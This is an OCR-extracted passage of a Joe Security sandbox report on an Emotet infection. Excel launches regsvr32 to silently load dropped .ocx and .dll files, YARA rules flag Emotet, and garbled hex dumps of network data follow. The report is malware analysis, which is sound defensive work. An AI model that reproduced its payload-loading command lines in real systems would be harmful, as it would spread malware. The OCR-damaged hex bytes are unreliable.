89 44 24 30 41 b9 3a 00 00 00 4c 8d 05 44 d7 00 00 ba 02 00 00 00 b9 00 10 00 00 e8 1d 98 fe ff 48 89 44 24 38 48 8b
44 24 30 48 8b 4c 24 38 48 89 48 10 48 83 7c 24 38 00 74 21 48 8b 44 24 30 8b 40 18 83 c8 08 48 8b 4c 24 30 89 41 18
48 8b 44 24 30 ¢7 40 24 00 10 00 00 eb 31 48 8b 44 24 30 8b 40 18 83 c8 04 48 8b 4c 24 30 89 41 18 48 8b 44 24 30 48
83 c0 20 48 8b 4c 24 30 48 89 41 10 48 8b 44 24 30 c7 40 24 02 00

Data Ascii: $@+H$p=H3H=HL$HHH|$Pu.HHD$ E3A.Hyu3**HD$PHD$0A:LDHD$8HD$OHL$SBHHH|$8t!HDSO@HL$0
AHD$0@$1HD$0@HL$OAHDSOH HL$SOHAHDS0@$

Data Raw: 44 24 40 48 ff cO 48 89 44 24 40 8b 44 24 50 25 00 02 00 00 85 c0 74 33 83 7c 24 68 00 74 0d 48 8b 44 24 40
0f be 00 83 8 30 74 1f 48 8b 44 24 40 48 ff c8 48 89 44 24 40 48 8b 44 24 40 c6 00 30 8b 44 24 68 ff cO 89 44 24 68 83
7c¢ 24 6¢ 00 Of 85 47 02 00 00 8b 44 24 50 83 €0 40 85 c0 74 5d 8b 44 24 50 25 00 01 00 00 85 c0 74 14 b8 2d 00 00 00
66 89 44 24 54 c7 44 24 5¢ 01 00 00 00 eb 3c 8b 44 24 50 83 e0 01 85 c0 74 14 b8 2b 00 00 00 66 89 44 24 54 c7 44 24
5c 01 00 00 00 eb 1d 8b 44 24 50 83 e0 02 85 c0 74 12 b8 20 00 00 00 66 89 44 24 54 c7 44 24 5¢ 01 00 00 00 8b 44 24
68 8b 4c 24 58 2b c8 8b c1 2b 44 24 5c 89 84 24 28 05 00 00 8b 44 24 50 83 €0 Oc 85 c0 75 20 4c¢ 8d 8¢ 24 b0 04 00 00
4c 8b 84 24 00 06 00 00 8b 94 24 28 05 00 00 66 b9 20 00 e8 el 03 00

Data Ascii: DS@HHD$@ D$P%t3|$htHD$@0tHD$S@HHD$@HD$@0D$hD$h|$IGDSP @t]D$PY%t-FDSTDS\<DSPt+DSTD
$\D$Pt fDSTDS\DShLEX++DS\$(DSPu LELSS(F

Data Raw: 00 05 00 00 cO Ob 00 00 00 00 00 00 00 00 00 00 00 1d 00 00 cO 04 00 00 00 00 00 00 00 00 00 00 00 96 00
00 c0 04 00 00 00 00 00 00 00 00 00 00 00 8d 00 00 cO 08 00 00 00 00 00 00 00 00 00 00 00 8e 00 00 cO 08 00 00 00 00
00 00 00 00 00 00 00 8f 00 00 cO 08 00 00 00 00 00 00 00 00 00 00 00 90 00 00 cO 08 00 00 00 00 00 00 00 00 00 00 00
91 00 00 cO 08 00 00 00 00 00 00 00 00 00 00 00 92 00 00 cO 08 00 00 00 00 00 00 00 00 00 00 00 93 00 00 cO 08 00 00
00 00 00 00 00 00 00 00 00 b4 02 00 cO 08 00 00 00 00 00 00 00 00 00 00 00 b5 02 00 cO 08 00 00 00 00 00 00 00 00 00
00 00 03 00 00 00 09 00 00 00 cO 00 00 00 Oc 00 00 00 66 3a 5¢ 64 64 5¢ 76 63 74 6f 6f 6¢ 73 5¢ 63 72 74 5f 62 6¢ 64 5¢
73 65 6¢ 66 5f 36 34 5f 61 6d 64 36 34 5¢ 63 72 74 5¢ 73 72 63 5¢ 6d 6¢C

Data Ascii: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ml
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kBytes

Timestamp transferred Direction
2022-05-23 06:27:23 UTC 510 IN
2022-05-23 06:27:23 UTC 526 IN
2022-05-23 06:27:23 UTC 542 IN
2022-05-23 06:27:23 UTC 558 IN
2022-05-23 06:27:23 UTC 574 IN
2022-05-23 06:27:23 UTC 590 IN
2022-05-23 06:27:23 UTC 606 IN
2022-05-23 06:27:23 UTC 622 IN
2022-05-23 06:27:23 UTC 638 IN

Copyright Joe Security LLC 2022

Data

Data Raw: 60 61 62 63 64 65 66 67 68 69 6a 6b 6¢ 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f 00 3d 00 00
00 00 00 00 00 5f 00 73 00 65 00 74 00 5f 00 65 00 72 00 72 00 6f 00 72 00 5f 00 6d 00 6f 00 64 00 65 00 00 00 00 00 00
00 00 00 00 00 66 00 3a 00 5¢c 00 64 00 64 00 5¢ 00 76 00 63 00 74 00 6f 00 6f 00 6¢ 00 73 00 5¢ 00 63 00 72 00 74 00 5f
00 62 00 6¢ 00 64 00 5¢c 00 73 00 65 00 6¢ 00 66 00 5f 00 36 00 34 00 5f 00 61 00 6d 00 64 00 36 00 34 00 5¢ 00 63 00
72 00 74 00 5¢ 00 73 00 72 00 63 00 5¢ 00 65 00 72 00 72 00 6d 00 6f 00 64 00 65 00 2e 00 63 00 00 00 00 00 00 00 28
00 22 00 49 00 6e 00 76 00 61 00 6¢ 00 69 00 64 00 20 00 65 00 72 00 72 00 6f 00 72 00 5f 00 6d 00 6f 00 64 00 65 00 2
200 2c 00 20 00 30 00 29 00 00 00 00 00 00 00 00 00 00 00 00 00

Data Ascii: “abcdefghijklmnopgrstuvwxyz{[}~=_set_error_modef:\dd\vctools\crt_bld\self_64_amd64\crt\src\errmode
.c("Invalid error_mode", 0)

Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 61 62 63 64 65 66 67 68 69 6a 6b 6¢ 6d 6€ 6f 70 71 72 73 74 75 76 77 78 79 7a 00 00 00 00 00 00 41 42 43 44
45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 00 00 00

Data Ascii: abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ

Data Raw: 71 a0 9a b6 41 18 21 1c ea e3 ae 65 f1 68 71 7d 2f a0 2c 24 Oe ba 3f 4e 16 ¢3 70 69 7d 9e 49 b1 25 5f 38 e2
9c 18 a0 a4 62 6b 8b 66 ed 9a 1d 47 f6 3e 78 ed 3c 65 21 9d 08 f7 a7 Oc 70 2b c¢8 b1 7c 81 85 21 0f 1c 49 66 a2 6a a4 2d
de bb 6¢c d8 3d 61 62 53 c0 3c dd ac 2e 7a 00 cd a5 23 76 de 0f c8 9b 37 e8 2c 74 63 f1 7a 2f d1 ab 12 7e 19 0d 8d 23 da
f2 35 4e 36 a3 58 4c 67 f9 1e 47 13 54 30 dO f6 e4 43 11 6¢ a8 7d 3 ce a2 65 5e 64 02 d3 5b 2b e3 4c 6a 71 9c 8b €6 89
e2 7c 04 b7 8c 45 ad Ob 5d 29 99 34 0f 2f 22 €9 3c Oe 26 9f 59 1le 35 b1 07 11 3d 52 b3 da 45 b3 03 5¢ 26 6b c2 16 10 3a
el bc ea b7 fb 21 40 2f c2 16 b7 7a a5 11 1d 2f 70 85 00 4e ba 27 4e 1a bf dd 8c db 72 ef 14 00 1b 8 1d 7c 14 fe 4a 2f 68
c36e 42 1leda28113ac871552aed1c 61222313

Data Ascii: gAlehqg}/,$?Npi}|%_8bkfG>x<elp+|!lfji-l=abS<.z#v7 tcz/~#5N6XLgGTOCI}e d[+Ljq|E])4/'<&Y5=RE\&k:!@/z/p
N'Nr|J/hnB(:qU*a"#

Data Raw: 35 3c a2 20 4f 53 00 02 59 24 d4 4d 4f 1f 2e fe 09 9c ea 2e 7a 7c b9 eb 31 76 e7 34 00 6b 75 55 31 fd ec ea 22
6a 48 2a fb 7f 37 6¢ be fb 4b 37 71 6a 91 b9 84 98 61 f1 ff 6b 41 62 34 7 ea 6d 35 35 3c be 73 2c 2f a4 84 72 26 55 39 67
aa dd 08 4c 31 6b df 71 39 5a c6 b4 7e 64 40 24 d4 3d 4d 6¢ db 6f 4b 1a e3 1c Oe 5e b2 23 24 35 76 Ob be a9 22 e5 a0

ba 7d e3 2a 94 9c bc da 8d 21 56 65 de 89 c1 9a 9b 23 ee 19 05 22 9¢ 87 78 62 2b 81 ad b3 ce 94 ad 1a 6¢ Oc 52 62 71
66 0c a9 12 d9 21 d3 9b aa 2b Oe 58 cd 09 66 5a 90 08 11 46 48 b4 05 4e 56 7 54 c5 5¢ bf ef 6b 41 62 34 2¢ 52 bd 37 b4
b9 6d 66 6b 67 1f 21 85 db d4 8c 63 29 68 00 32 ba 35 cc df fd 34 4f 31 76 Oc 9b a7 f9 be 2d 7c 64 d6 68 Oe 68 c9 66 42
6e 73 ce 6 0d c2 41 55 5e 84 1e b3 09 ec 3c 4e 57 07 e9

Data Ascii: 5< OSY$MO..z|1v4kuU1"jH*7IK7gjakAb4m55<s,/r&U9gL1kq9Z~d @$=MIoK #$5v"}*IVe#"xb+IRbgfl+XfZ
FHNVT\kAb4,R7mfkg!c)h25401v-|dhhfBnsAUNNW

Data Raw: 5f 26 92 c1 3e 0f 97 78 ba ¢3 2c 03 8c 70 aa 82 58 Oc b5 09 15 42 27 f8 b0 82 d3 33 d9 24 0f 5b d1 9f 89 af e7
2e 7558 ea e5 81 b0 fa 2e 42 6¢ ce 36 43 48 82 9f f4 63 34 3e d6 60 4e 2a 3e 65 2c e0 ac 2d a2 be 74 Oe 71 94 cb a4 cc
06 b2 87 22 99 Oc 18 7d 16 b3 6b 40 e3 1b 5d 5d 42 46 2c 6f ed 2c 6¢ 12 5b 5f 5e 6¢ 2 32 67 6d c1 45 Ob 58 fd d1 53 46
58 e2 Of 46 6¢ 4c da 4b 9f b4 78 41 3c c4 c1 9a de f1 68 71 61 9c ca 43 ca 9f d8 68 a0 9f al 3a c4 7d 52 3e c1 50 7b 21
6d al c4 2a a8 6e 4c 20 71 bd Ob 51 ad 59 52 2b 25 f0 1e 42 30 a3 45 6f 78 ad 27 67 02 ff 06 d9 65 f6 51 18 05 6d ea 13
41 41 0c 24 bc 35 ac 6f 4c 50 9f af fc 6a 35 Oc 18 1d 22 ff 22 64 74 de 35 4d 08 af 94 65 c1 e9 3c Oe 36 fc fe 28 de fd 07
11 21 2e ed 14 61 12 23 f3 2e 47 2b 2a bf 63 57 7b

Data Ascii: _&>x,pXB'3$[.uX.BI6CHc4>'N*>e -tq"}k@]]BF,0,I[_"2gmEXSFXFILKxA<hgaCh:}R>P{!m*nL qQYR+%B
OEox'geQmAAS$50LPj5" dt5Me<6(!.a#.G+*cW{

Data Raw: bd al e5 3a 6b 2b e6 7b 83 31 ea df ee 4b 3c 4d c8 ed 7e 7d e5 f2 c9 6a 58 50 2f ee af d8 4b 2a 66 36 d2 93
ca f7 f6 85 72 6a 66 b0 bl af 64 bf ef ab 40 62 34 ed ff 23 37 f4 99 ad 67 6b 67 6e e0 df ec 56 39 6b 24 €9 b5 86 32 6b 6a
49 16 30 21 6 f3 de 43 24 5f 84 b4 1d 50 aa da 92 6b 48 2a 15 4b 01 fd be fb fb 36 71 6a 91 b9 84 98 65 f1 ff db 40 62 34
7 da dd 34 35 3c 93 28 6b 67 e4 94 c2 27 55 39 1f 32 4f 18 c5 b4 d3 69 5e 48 b5 09 15 46 22 c9 60 7b 51 2d d3 d5 e3 6¢
2a 68 c3 bf d6 59 51 6¢ be 3a 67 61 39 e7 e3 28 44 72 67 30 €3 27 67 42 dc 2c d4 65 37 be bl a5 67 6b 67 5e e0 75 a0
91 ce 94 d4 d3 a9 47 38 6b eb a5 el 35 44 31 79 e3 f5 d3 a0 86 e2 9f 18 aa ab a2 6¢ 48 2a 39 04 0Oa 31 f6 ba Of be ad 23
ef 03 4d 3b ee 13 7a2aca 11 2¢ 21 17 e6 db 55 b7 el

Data Ascii: :k+{1K<M~}jXP/K*f6rifd @b4#7gkgnV9ok$2kjl0!C$_PkH*K6gje @b445<(kg'U920i"HF" {Q-I*hYQl:gad(D
rg0'gB,e7gkg uG8K5D1yIH*91#M;z*,!IU

Data Raw: 26 4b 9b f9 bd c8 e0 27 3e bf dd 66 fb a7 8f 43 ee 9e 90 6f d1 1d 4b ee 5f 08 93 45 4c 58 da 39 55 fd Oe 6d 98
98 9c a7 ba b5 22 10 d6 78 ae 62 5f 33 37 2a be 70 54 a4 01 03 61 e4 54 12 08 95 d1 21 ec 2d 88 88 17 28 6a 35 0d b4
34 b8 33 ee c1 51 d7 6b 5b e2 4f ec 2a 4a 06 56 4e 66 db 1c Oc 96 9c 98 fb 1a 2f 06 1c cc 37 07 cO 25 8f 87 2¢ b5 03 3f
f0 70 c4 c7 a2 21 33 ee d3 a5 7a €5 38 61 60 a0 25 58 b9 d0 aa 80 5b ¢1 69 15 b0 03 3e a7 ec 55 79 e2 1d 08 a0 2a 4a
e30d a2 ed 1f 39 24 be 73 22 ab 70 6a ed d0 e5 72 67 78 82 el 22 63 34 3e d4 ad 7f be 39 29 fa 6a 67 2d a8 f2 bc 55 39
6b 63 9f d9 55 c7 ea 8¢ f1 e0 37 4d 70 75 92 a9 ab a9 86 96 9f 15 4b 23 ea 24 48 eb 03 3a 59 ed 40 16 10 57 bb 26 al 1d
1d 38 68 94 6a e2 06 3a 05 fb 5f 65 b6 40 64 c4 10 8e 67 ee

Data Ascii: &K'>fCoK_ELX9Um"xb_37*pTaT!-(j543Qk[0*IVNF/7%,?p!3z8a %X[i>Uy*J9$s"pjrgx"c4>9)jg-U9kcU7M
PuK#$H:Y @W&8hj:_e@dg

Data Raw: 2a 55 5c 6a df 0d 9b aa cf 89 99 c1 51 8 75 bd 6d 50 6f e4 67 cf c3 67 19 b2 62 5f 34 76 fb d5 eb 60 66 b1 63
8d 98 87 ad 26 3c 22 d4 f0 5f a4 52 4a 3f e4 11 14 15 81 1b 7e af 10 46 83 34 98 fe b1 f6 2e 15 d0 21 2b 4d ba 3b 19 08
af 87 c1 d6 64 e6 09 98 ch a9 a2 2e de f9 da 42 8f ff 16 4a b0 07 19 51 c4 37 18 5b a7 63 43 3 41 09 1b 8 3e 35 fb 20
c3 ¢l 8f 89 21 f1 69 f2 ce 8a ea 82 03 c¢7 64 cc eb 2b ef 23 76 23 76 ed 05 83 d4 3c 16 b0 22 3a 6e 2a af 0d 81 50 89 10
6¢ 71 fd 83 7d f8 16 42 10 ce 3f cc c0 bl e2 fa 14 ¢3 97 9e 8f 32 bc 69 ce e5 1e cc ¢9 59 71 24 92 7c c4 9f 1e 5d 4e b0 2e
¢5 3d 68 c3 b2 b0 03 c9 3d 81 0a 79 ae 1d e3 €9 1d f6 68 c9 5f d5 Oe 8e d5 7a f7 36 86 1d 9b 04 17 82 37 c0 6a 56 18 43
€3 71d1d361c8cabd 10 c3 2e 33 1f 21 bd 61 2a

Data Ascii: *U\jQumPoggh_4v'fc&<"_RJ?~F4.1+M;d.BJQ7[cCA>5 lid+#v#v<":n*Plq}B?2iYq$|]N.=h=yh_z67jVCqa.3!a*

Data Raw: 5e ¢8 3b 8a 74 9e 8a 95 e3 5f b8 04 b0 5e aa 1a c2 77 4b 2a 66 9d 14 88 fa d3 87 35 b0 07 82 5c c4 37 83 02
da 63 43 e3 41 92 86 fb 3d 35 fb 20 84 32 24 f2 21 bb 41 b5 3b aa 46 88 0f 8f 54 8b 66 df 3d dc 2c 39 37 66 87 61 af 1f 2d
eb 50 aa 22 da 00 ad 96 c9 db 24 9c 68 92 7 9a b6 2f 8a b9 64 9e 67 13 2f 8f 08 eb 71 9a e7 be 7c 5d 13 e4 11 87 fc 9b
08 3f e3 10 11 c7 4e 94 00 c5 7c 43 9d bf 63 f6 9c d8 75 ac 81 cd 59 f0 24 70 d1 6e 47 9e 40 48 2a e7 1f 79 39 a2 89 bc
b4 04 42 07 78 41 72 23 3 2f 43 ¢8 27 dc ff 1b 41 77 be 79 4d ed 2f 43 5d 69 7 21 21 Ob 6b 2b 20 89 0a 15 5b el 1b a4
78 ¢6 7c 86 ed 15 c4 d4 34 8d d1 14 0f 47 c2 89 24 d5 99 12 d8 2f 6d 3e c6 f5 7e ef cb 58 45 72 df e3 40 6e 43 5f c4 16 55
65 38 bl al 65 64 6b 8e d8 dd 85 db 92 7c 8b 6c¢ ff

Data Ascii: ;t_"wK*f5\7cCA=5 23$!A;FTf=,97fa-P"$h/dg/q|]?N|CcuY$pnG@H*y9IBxXAr#/C' AwyM/CJil'k+ [x|4G$/
m>~XEr@nC_Ue8edkK]||
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kBytes

Timestamp A Direction
2022-05-23 06:27:23 UTC 654 IN
2022-05-23 06:27:23 UTC 670 IN
2022-05-23 06:27:23 UTC 686 IN
2022-05-23 06:27:23 UTC 702 IN
Statistics

Behavior

\E’ Click to jump to process

System Behavior

Data

Data Raw: 81 75 66 40 c1 8c db 69 d3 d5 9b 6¢ 2a 68 89 ca 65 d3 d4 dc 36 76 43 f4 dc da 65 58 45 62 e6 cd da 60 43 62
ec 7f 56 65 bc b0 8c 66 64 6b ec e0 99 79 24 55 d1 2b fb 97 ff 89 b4 ab 69 5e 48 €9 97 9e 76 2e cb fc e7 36 85 9c le a0
e2 ea 6b 48 2a 91 bb 90 86 36 ff d6 f5 72 6a 66 99 €8 b2 64 78 6a 67 c2 d7 f4 75 5f 65 a6 6¢ 69 51 e5 de a7 66 21 7a 51
2d 61 5f ec ed c8 4d 31 6b 42 5f 45 3c cc 84 be 65 40 24 63 2d 10 d3 d1 ae a7 29 68 48 dd f1 5a 51 ed 80 be 40 35 71 67
3026 ce b5 e2 c0 69 63 43 b7 fO 74 5f a4 92 8d 3f 65 64 63 Oc e0 99 79 24 55 27 e2 ae d0 03 4e 31 d3 55 9b 6d 7f c6 bc
ce 65 40 24 a8 98 21 d5 1c Of 1f 62 e1 04 Oe 2e 9b bb 68 7d fd 88 bc e4 d2 65 58 45 3 d2 c0 69 63 43 25 7e 29 5e a2 73
11 6¢ 89 52 42 67 a4 4d 5e 74 5c b8 1f Of 38 3b ce 37 6b

Data Ascii: uf@il*he6vCeXEb’ ChVefdky$U+i"Hv.6kH*6rjfdxjgu_eliQflzQ-a_M1kB_E<e@%$c-)hHZQ@5qg0&icCt_?ed
cy$U'N1Ume@$%$!b.h}eXEicC%~)"sIRBgM \8;7k

Data Raw: af 13 5d 49 af bl fa 85 a3 3c 6¢c 0a e7 16 75 4c 80 05 f8 03 fO 1e 42 78 a5 3f d6 4e el 27 67 42 bd 32 7b 45 7f
b6 f8 7d a7 23 ec al 69 f3 7c 5d 71 e2 43 78 48 ¢7 41 73 3d 16 cb d0 2d 79 f5 06 a0 24 d4 cd 4d e8 50 2b 6f 62 e3 e4 Oe
6 5a 51 6¢ bc 06 9b be f5 4e ce 58 45 72 2e f3 b3 ea 07 46 Oc fd db 41 97 35 3c 65 2c e0 9e ec 65 5e 14 de bd 4f b3 68
00 4e b8 2f 4e 76 00 b5 21 15 56 8e ac e8 a0 86 5a 98 97 6f 4b 72 1b 58 2b 66 d3 15 48 69 3e c8 30 56 ch 66 58 0d 7 a7
0d 11 a4 07 46 64 e6 al 48 37 74 84 da 34 76 80 a4 4d 5e 74 5c b8 1f Of 38 9e 43 33 6b ad da 6¢ 84 4d 31 76 17 58 fd 5f
f2 ed 7c e8 2b 6f 2a e5 44 6a a7 bb 53 e5 b9 52 fb 35 71 6a df e6 c5 2c ff 13 ee 47 fb 62 34 76 73 ec b3 11 84 65 64 6b
e6 el 05 c2 24 55 39 1c e8 97 ff cf 85 4f d2 5e 48 3c

Data Ascii: JI<IuLBx?N'gB2{E}#i[JgCxHAs=-y$MP+0bZQINXEr.FA5<e,e"OhN/Nv!VZoKrX+fHi>0VfXFdH7t4vM t\8C3
kIM1vX_|+0*DjSR5qj,Gb4vsedk$U90O"H<

Data Raw: 52 50 2b ee 9f 20 42 2a 66 8a d2 29 35 fd c6 7d 7b 6a 66 b0 58 74 98 87 22 e8 fe 2a 3e 76 5f 2d bc c5 79 56
a4 ea 9c 1f 7d 71 24 5a b6 b2 2c 68 00 41 b5 b0 6¢ 5e 48 bd b6 Oe a7 66 40 2b db 5b 6¢ 58 50 aa 94 56 84 49 2a 69 de
6f 6e 35 76 c2 ce fc c7 65 58 4a f6 ad 79 6a 63 c2 99 3a 2a 5a 65 38 b1 77 64 64 6b e6 9e 63 a6 2c 55 36 ee 08 66 00 4e
6 2f 4e 2e eb d4 02 31 ce ab 8c e8 93 be 2d 7c 10 2a 6f 2a 68 c9 66 42 2a 43 ee a8 7e Of bc 35 4e 5e d9 01 56 17 a9 d2
63 43 e3 40 52 2f el 94 d5 34 a2 el 3b 6d 65 21 f8 cd 1a 39 ea 9e 38 Oa 4e 31 cd b5 81 e3 b7 c0 61 7c 66 40 d3 be b8
83 5a d9 be 3f 20 68 48 eb cb 0a 5b 6¢ 35 78 c2 80 21 60 66 58 a3 c4 65 78 ad 27 67 16 70 36 39 65 b6 71 18 11 49 7a 6
7 65 a0 Oe 00 21 63 33 45 68 ¢7 cb 79 61 6a 5e 8¢ d4 al 31 1d e3

Data Ascii: RP+ B*f)5K{jfXt"*>v_-yV}q$Z, hAI"Hf@+[IXPVI*ion5veXJyjc:*Ze8wddke,U6fN/N.1-|*0*hfB*C~5N"VcC@R/4;me!
98N1a|f@Z? hHI[I5x! fXex'gp69eqlzge!c3Ehyaj*1

Data Raw: 5f 17 6d 4b f9 17 da 29 4a ff 07 11 59 el 23 97 01 f9 2a b3 e1 35 03 €9 79 b1 d6 21 13 15 d4 f7 6¢ 95 98 dd 1f
Ob 29 55 d0 67 d5 97 ff 89 74 a0 8b ca 70 3c 05 bc 20 7e Oc a9 12 9e e8 1d 9b ef de d5 97 c9 67 ad d9 0d d4 50 {7 36 fe
36 5b d3 3d 82 37 a0 db b4 c8 43 a3 51 b1 5a Oe 72 f2 4e ec 21 ac e6 10 e6 9b 06 7d a8 ac 6e 17 bf 7d 1f 6b eb 1b 37 60
fd 31 76 a7 2d 5b 56 8 2c 27 ba 12 6f 2a €9 3d 55 01 f9 52 6¢ be 33 3c 71 fa 2f al d3 08 b9 ee 3c 4e 43 ab e2 ae 88 a0
dd 37 10 39 65 8d f9 9a 9a de bd 61 92 f6 {7 eb 68 b8 51 43 32 5b 12 ¢5 79 aa ba 3b al b7 c5 9e 93 6d d1 05 ec ee 5f af
b3 b8 68 5a 96 29 fe ea ce 36 71 eb 23 93 78 ee 67 78 eb 2e 88 63 ch b2 47 e4 72 fe 8f b2 64 6b e6 10 ea 3d 82 92 21 ac
6e a7 74 a9 82 6b eb 13 87 a0 37 29 da e7 35 eb a5 c6

Data Ascii: _mK)JY#*5y!l)Ugtp< ~gP66[=7CQZrN!}n}k7"1v-[V,'0*=URI3<q/<NC79eahQC2[y;m_hZ)6ag#xgx.cGrdk=!ntk7)5

@ EXCEL.EXE
® regsvr32.exe
@ regsvr32.exe
@ regsvr32.exe
@ regsvr32.exe
@ svchost.exe
® regsvr32.exe
@ regsvr32.exe
regsvr32.exe

Analysis Process: EXCEL.EXE PID: 2260, Parent PID: 576

General
Target ID: 0
Start time: 08:27:15
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Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

File Activities

Registry Activities

23/05/2022

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

false

"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
0x13f930000

28253536 bytes

D53B85E21886D2AF9815C377537BCAC3

true

true

C, C++ or other language

high

Analysis Process: regsvr32.exe PID: 204, Parent PID: 2260

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Reputation:

File Activities

3

08:27:24

23/05/2022

C:\Windows\System32\regsvr32.exe

false

C:\Windows\System32\regsvr32.exe /S ..\uxevrl.ocx
0xff910000

19456 bytes
59BCE9F07985F8A4204F4D6554CFF708

true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source:
00000003.00000002.922105770.00000000002C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source:
00000003.00000002.922673703.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security

high

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

Old File Path

File Path

Access Attributes Options Completion Count Source Address Symbol
New File Path Completion Count Source Address Symbol
Offset Length Completion Count Source Address Symbol

Analysis Process: regsvr32.exe PID: 2052, Parent PID: 204

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Copyright Joe Security LLC 2022

4

08:27:26

23/05/2022

C:\Windows\System32\regsvr32.exe

false

C:\Windows\system32\regsvr32.exe "C:\Windows\system32\XpltPypW\hllulW.dII"
0xff910000

19456 bytes

59BCE9F07985F8A4204F4D6554CFF708

true
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Has administrator true
privileges:
Programmed in: C, C++ or other language

Yara matches:

e Rule: JoeSecurity_ Emotet_1, Description: Yara detected Emotet, Source:

00000004.00000002.1222785858.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_ Emotet_1, Description: Yara detected Emotet, Source:
00000004.00000002.1221827075.00000000001C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security

Reputation: high

File Activities

File Created

File Path Access Attributes

C:\Users\user\AppData\Local\Temp\Cab881.tmp read attributes |  device | sparse
synchronize | file

generic read

C:\Users\user\AppData\Local\Temp\Tar882.tmp read attributes |  device | sparse
synchronize | file

generic read

Options Completion

synchronous io  success or wait
non alert | non

directory file

synchronous io  success or wait
non alert | non

directory file

File Path Completion

File Path Offset Length Value Ascii Completion

File Path Offset Length Completion
Registry Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Key Path Name Type Old Data New Data Completion

Analysis Process: regsvr32.exe PID: 2088, Parent PID: 2260

General

Target ID: 5

Start time: 08:27:28

Start date: 23/05/2022

Path: C:\Windows\System32\regsvr32.exe

Wow64 process (32bit): false

Commandline: C:\Windows\System32\regsvr32.exe /S ..\uxevr2.0cx

Imagebase: 0xff910000
File size: 19456 bytes
MD5 hash: 59BCE9F07985F8A4204F4D6554CFF708

Has elevated privileges: true

Has administrator true
privileges:
Programmed in: C, C++ or other language

Yara matches:

e Rule: JoeSecurity_ Emotet_1, Description: Yara detected Emotet, Source:

00000005.00000002.932134658.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
e Rule: JoeSecurity_ Emotet_1, Description: Yara detected Emotet, Source:
00000005.00000002.931940850.00000000002D0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security

Reputation: high

File Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path Access Attributes
Old File Path New File Path
File Path Offset

Copyright Joe Security LLC 2022

Options Completion
Completion
Length Completion

Count Source Address Symbol
1 18000C9A0 HttpSendRe
questW
1 18000C9A0 HttpSendRe
questW
Count Source Address Symbol
Count Source Address Symbol
Count Source Address Symbol
Source
Count Address Symbol
Count Source Address Symbol
Source Address Symbol
Count Source Address Symbol
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Analysis Process: regsvr32.exe PID: 592, Parent PID: 2088

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Reputation:

File Activities

6

08:27:29

23/05/2022
C:\Windows\System32\regsvr32.exe

false

C:\Windows\system32\regsvr32.exe "C:\Windows\system32\MiFQSWNWaJxwEe\lpsIJNE.dII"

0xff910000

19456 bytes
59BCE9F07985F8A4204F4D6554CFF708
true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source:
00000006.00000002.1222005095.00000000002C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source:
00000006.00000002.1222562728.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security

high

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

Registry Activities

Offset

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Key Path

Name Type

Old Data

Analysis Process: svchost.exe PID: 1160, Parent PID: 404

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MDS5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Reputation:

-
08:27:30

23/05/2022

C:\Windows\System32\svchost.exe

false

C:\Windows\System32\svchost.exe -k WerSvcGroup
0xff7d0000

27136 bytes
C78655BC80301D76ED4FEF1C1EA40A7D

true

true

C, C++ or other language

moderate

Analysis Process: regsvr32.exe PID: 1808, Parent PID: 2260

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

8

08:27:32

23/05/2022
C:\Windows\System32\regsvr32.exe
false

C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx

Copyright Joe Security LLC 2022

Length Completion Count Source Address
New Data Completion Count SRl
P Address

Symbol

Symbol

Page 44 of 46



Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Reputation:

File Activities

